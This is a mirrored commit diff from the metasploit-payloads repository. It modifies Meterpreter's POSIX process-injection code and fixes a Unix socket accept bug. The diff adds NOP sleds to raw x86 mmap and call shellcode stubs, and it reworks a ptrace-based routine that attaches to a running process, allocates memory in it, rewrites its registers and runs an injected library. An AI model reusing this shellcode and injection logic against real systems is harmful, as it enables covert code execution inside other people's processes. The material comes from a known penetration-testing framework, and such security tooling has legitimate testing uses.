mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-03-24 18:16:24 +01:00
Merge branch fixing memory patching
This commit is contained in:
commit
15be560e7b
c/meterpreter/source/common/arch/posix
@ -24,7 +24,19 @@
|
||||
int $0x3 ; trap to allow the debugge to control
|
||||
*/
|
||||
/*! @brief mmap code stub */
|
||||
UCHAR mmap_stub[] =
|
||||
UCHAR mmap_stub[] =
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90" \
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90" \
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90" \
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90" \
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90" \
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90" \
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90" \
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90" \
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90" \
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90" \
|
||||
"\x90\x90\x90\x90\x90" \
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90" \
|
||||
"\x31\xed" \
|
||||
"\xbf\xff\xff\xff\xff" \
|
||||
"\xbe\x22\x00\x00\x00" \
|
||||
@ -46,6 +58,17 @@ UCHAR mmap_stub[] =
|
||||
*/
|
||||
/*! @brief call code stub */
|
||||
UCHAR call_stub[] =
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90" \
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90" \
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90" \
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90" \
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90" \
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90" \
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90" \
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90" \
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90" \
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90" \
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
|
||||
"\x68\x04\x00\x00\x00" \
|
||||
"\x68\xff\xff\xff\xff" \
|
||||
"\xb8\x5a\x5a\x5a\x5a" \
|
||||
@ -84,11 +107,12 @@ save_state(LONG pid, state *s) {
|
||||
* @brief Restores the process state and detaches.
|
||||
* @param pid Process identifier to restore.
|
||||
* @param s Pointer to \c state with code and registers.
|
||||
* @param only_memory Idicates if restore only memory at EIP or also registers
|
||||
* @returns Indication of success or failure.
|
||||
* @retval 0 Indicates success.
|
||||
*/
|
||||
LONG
|
||||
restore_state(LONG pid, state *s) {
|
||||
restore_state(LONG pid, state *s, int only_memory) {
|
||||
unsigned long *mem_ptr = NULL;
|
||||
LONG i = 0;
|
||||
LONG result = 0;
|
||||
@ -105,6 +129,9 @@ restore_state(LONG pid, state *s) {
|
||||
if (result != 0)
|
||||
return result;
|
||||
|
||||
if (only_memory > 0)
|
||||
return 0;
|
||||
|
||||
result = setregs(pid, &(s->regs));
|
||||
if (result != 0)
|
||||
return result;
|
||||
@ -148,6 +175,7 @@ LONG
|
||||
execute_stub(LONG pid, unsigned long addr, unsigned long *stub, ULONG stub_size) {
|
||||
LONG i = 0;
|
||||
LONG result = 0;
|
||||
struct user_regs_struct my_regs;
|
||||
|
||||
if (stub_size == 0 || stub == NULL)
|
||||
return ERROR_INVALID_PARAMETER;
|
||||
@ -156,6 +184,17 @@ execute_stub(LONG pid, unsigned long addr, unsigned long *stub, ULONG stub_size)
|
||||
if (result != 0)
|
||||
return result;
|
||||
|
||||
result = getregs(pid, &my_regs);
|
||||
if (result != 0)
|
||||
return result;
|
||||
dprintf("[EXECUTE_STUB] Was to execute... 0x%x", my_regs.eip);
|
||||
|
||||
my_regs.eip = my_regs.eip + 8;
|
||||
result = setregs(pid, &my_regs);
|
||||
if (result != 0)
|
||||
return result;
|
||||
dprintf("[EXECUTE_STUB] Executing... 0x%x", my_regs.eip);
|
||||
|
||||
result = cont(pid);
|
||||
if (result != 0)
|
||||
return result;
|
||||
@ -250,6 +289,8 @@ call(LONG pid, struct user_regs_struct *regs, unsigned long addr) {
|
||||
LONG
|
||||
inject_library(LONG pid, library *l) {
|
||||
state s;
|
||||
long code_mem;
|
||||
long stack_mem;
|
||||
struct user_regs_struct regs;
|
||||
ULONG library_size = _SIZE_OF(l->length);
|
||||
unsigned long *buf_ptr = (unsigned long *)l->data;
|
||||
@ -260,7 +301,6 @@ inject_library(LONG pid, library *l) {
|
||||
goto end;
|
||||
}
|
||||
|
||||
|
||||
dprintf("[INJECT] Saving state");
|
||||
result = attach(pid);
|
||||
if (result != 0)
|
||||
@ -272,14 +312,32 @@ inject_library(LONG pid, library *l) {
|
||||
|
||||
memcpy(®s, &(s.regs), sizeof(struct user_regs_struct));
|
||||
|
||||
dprintf("[INJECT] Creating new code memory");
|
||||
result = allocate(pid, ®s, NULL, CODE_SIZE);
|
||||
dprintf("[DEBUG] result: %d", result);
|
||||
if (result != 0)
|
||||
goto restore;
|
||||
|
||||
dprintf("[INJECT] New code memory on 0x%x, fixing registers", regs.eax);
|
||||
code_mem = regs.eax;
|
||||
regs.eip = code_mem;
|
||||
|
||||
result = setregs(pid, ®s);
|
||||
if (result != 0)
|
||||
goto restore;
|
||||
|
||||
dprintf("[INJECT] Restoring code on original process");
|
||||
restore_state(pid, &s, 1);
|
||||
|
||||
dprintf("[INJECT] Creating new stack");
|
||||
result = allocate(pid, ®s, NULL, STACK_SIZE);
|
||||
result = allocate(pid, ®s, NULL, STACK_SIZE);
|
||||
if (result != 0)
|
||||
goto restore;
|
||||
|
||||
dprintf("[INJECT] New stack on 0x%x, fixing registers", regs.eax);
|
||||
regs.esp = regs.eax + STACK_SIZE;
|
||||
regs.eip = s.regs.eip;
|
||||
stack_mem = regs.eax + STACK_SIZE;
|
||||
regs.esp = stack_mem;//regs.eax + STACK_SIZE;
|
||||
regs.eip = code_mem;//s.regs.eip;
|
||||
|
||||
result = setregs(pid, ®s);
|
||||
if (result != 0)
|
||||
@ -301,7 +359,8 @@ inject_library(LONG pid, library *l) {
|
||||
goto restore;
|
||||
|
||||
dprintf("[INJECT] Fixing registers");
|
||||
regs.eip = s.regs.eip;
|
||||
regs.esp = stack_mem;
|
||||
regs.eip = code_mem;//s.regs.eip;
|
||||
result = setregs(pid, ®s);
|
||||
if (result != 0)
|
||||
goto restore;
|
||||
@ -316,7 +375,7 @@ inject_library(LONG pid, library *l) {
|
||||
goto end;
|
||||
|
||||
restore:
|
||||
restore_state(pid, &s);
|
||||
restore_state(pid, &s, 0);
|
||||
end:
|
||||
return result;
|
||||
}
|
||||
|
@ -14,23 +14,25 @@
|
||||
/*! Macro to calculate sizes in order to help when writing and reading memory. */
|
||||
#define _SIZE_OF(buf) (buf / sizeof(long)) + (buf % 4 > 0 ? 1 : 0)
|
||||
/*! Length of the mmap code stub. */
|
||||
#define MMAP_STUB_LENGTH 35
|
||||
#define MMAP_STUB_LENGTH 128
|
||||
/*! ptrace friendly size of the mmap code stub. */
|
||||
#define MMAP_STUB_SIZE _SIZE_OF(MMAP_STUB_LENGTH)
|
||||
/*! Position of the length to mmap in the mmap stub. */
|
||||
#define MMAP_LENGTH_POS 18
|
||||
#define MMAP_LENGTH_POS 111
|
||||
/*! Position of the address to mmap in the mmap stub. */
|
||||
#define MMAP_ADDR_POS 23
|
||||
#define MMAP_ADDR_POS 116
|
||||
/*! Length of the call code stub. */
|
||||
#define CALL_STUB_LENGTH 22
|
||||
#define CALL_STUB_LENGTH 112
|
||||
/*! ptrace friendly size of the call code stub. */
|
||||
#define CALL_STUB_SIZE _SIZE_OF(CALL_STUB_LENGTH)
|
||||
/*! Position of the options flags in the call stub */
|
||||
#define OPTIONS_POS 1
|
||||
#define OPTIONS_POS 91
|
||||
/*! Position of the library entry point in the call stub */
|
||||
#define ENTRY_POINT_POS 11
|
||||
#define ENTRY_POINT_POS 101
|
||||
/*! Length of the new stack to allocate */
|
||||
#define STACK_SIZE 0x200000
|
||||
/*! Length of the new memory to store code stubs */
|
||||
#define CODE_SIZE 0x1000
|
||||
|
||||
/*! @brief Container struct for a library to inject and execute. */
|
||||
typedef struct {
|
||||
@ -52,7 +54,7 @@ typedef struct {
|
||||
} state;
|
||||
|
||||
LONG save_state(LONG pid, state *s);
|
||||
LONG restore_state(LONG pid, state *s);
|
||||
LONG restore_state(LONG pid, state *s, int only_memory);
|
||||
BOOL wait_trap(LONG pid);
|
||||
LONG execute_stub(LONG pid, unsigned long addr, unsigned long *stub, ULONG stub_size);
|
||||
LONG allocate(LONG pid, struct user_regs_struct *regs, unsigned long addr, size_t length);
|
||||
|
@ -122,7 +122,7 @@ write_memory(LONG pid, unsigned long addr, unsigned long *contents, UINT size) {
|
||||
|
||||
dprintf("[PTRACE] Writing memory");
|
||||
for (i = 0; i < size; i++) {
|
||||
// dprintf("[PTRACE] Writting %x to %x", contents[i], (addr + (i * sizeof(void *))));
|
||||
//dprintf("[PTRACE] Writting %x to %x", contents[i], (addr + (i * sizeof(void *))));
|
||||
if (ptrace(PTRACE_POKETEXT, pid, (void *)(addr + (i * sizeof(void *))), (void *)contents[i]) == -1) {
|
||||
dprintf("[PTRACE] PTRACE_POKETEXT failed");
|
||||
return errno;
|
||||
|
@ -68,6 +68,7 @@ LONG
|
||||
accept_connection(server_un *s, DWORD timeout) {
|
||||
connection_un *c;
|
||||
LONG rv;
|
||||
int len;
|
||||
|
||||
if (s == NULL) {
|
||||
dprintf("[UNIX SOCKET SERVER] NULL server");
|
||||
@ -92,11 +93,12 @@ accept_connection(server_un *s, DWORD timeout) {
|
||||
dprintf("[UNIX SOCKET SERVER] select failed");
|
||||
return errno;
|
||||
} else if (rv == 0) {
|
||||
dprintf("[UNIX SOCKET SERVER] timeout")
|
||||
dprintf("[UNIX SOCKET SERVER] timeout");
|
||||
return ETIME;
|
||||
}
|
||||
|
||||
if ((c->socket = accept(s->socket, (struct sockaddr *)&(c->remote), &(s->timeout))) == -1) {
|
||||
len = sizeof(c->remote);
|
||||
if ((c->socket = accept(s->socket, (struct sockaddr *)&(c->remote), &len)) == -1) {
|
||||
dprintf("[UNIX SOCKET SERVER] accept failed");
|
||||
return errno;
|
||||
}
|
||||
|
Loading…
x
Reference in New Issue
Block a user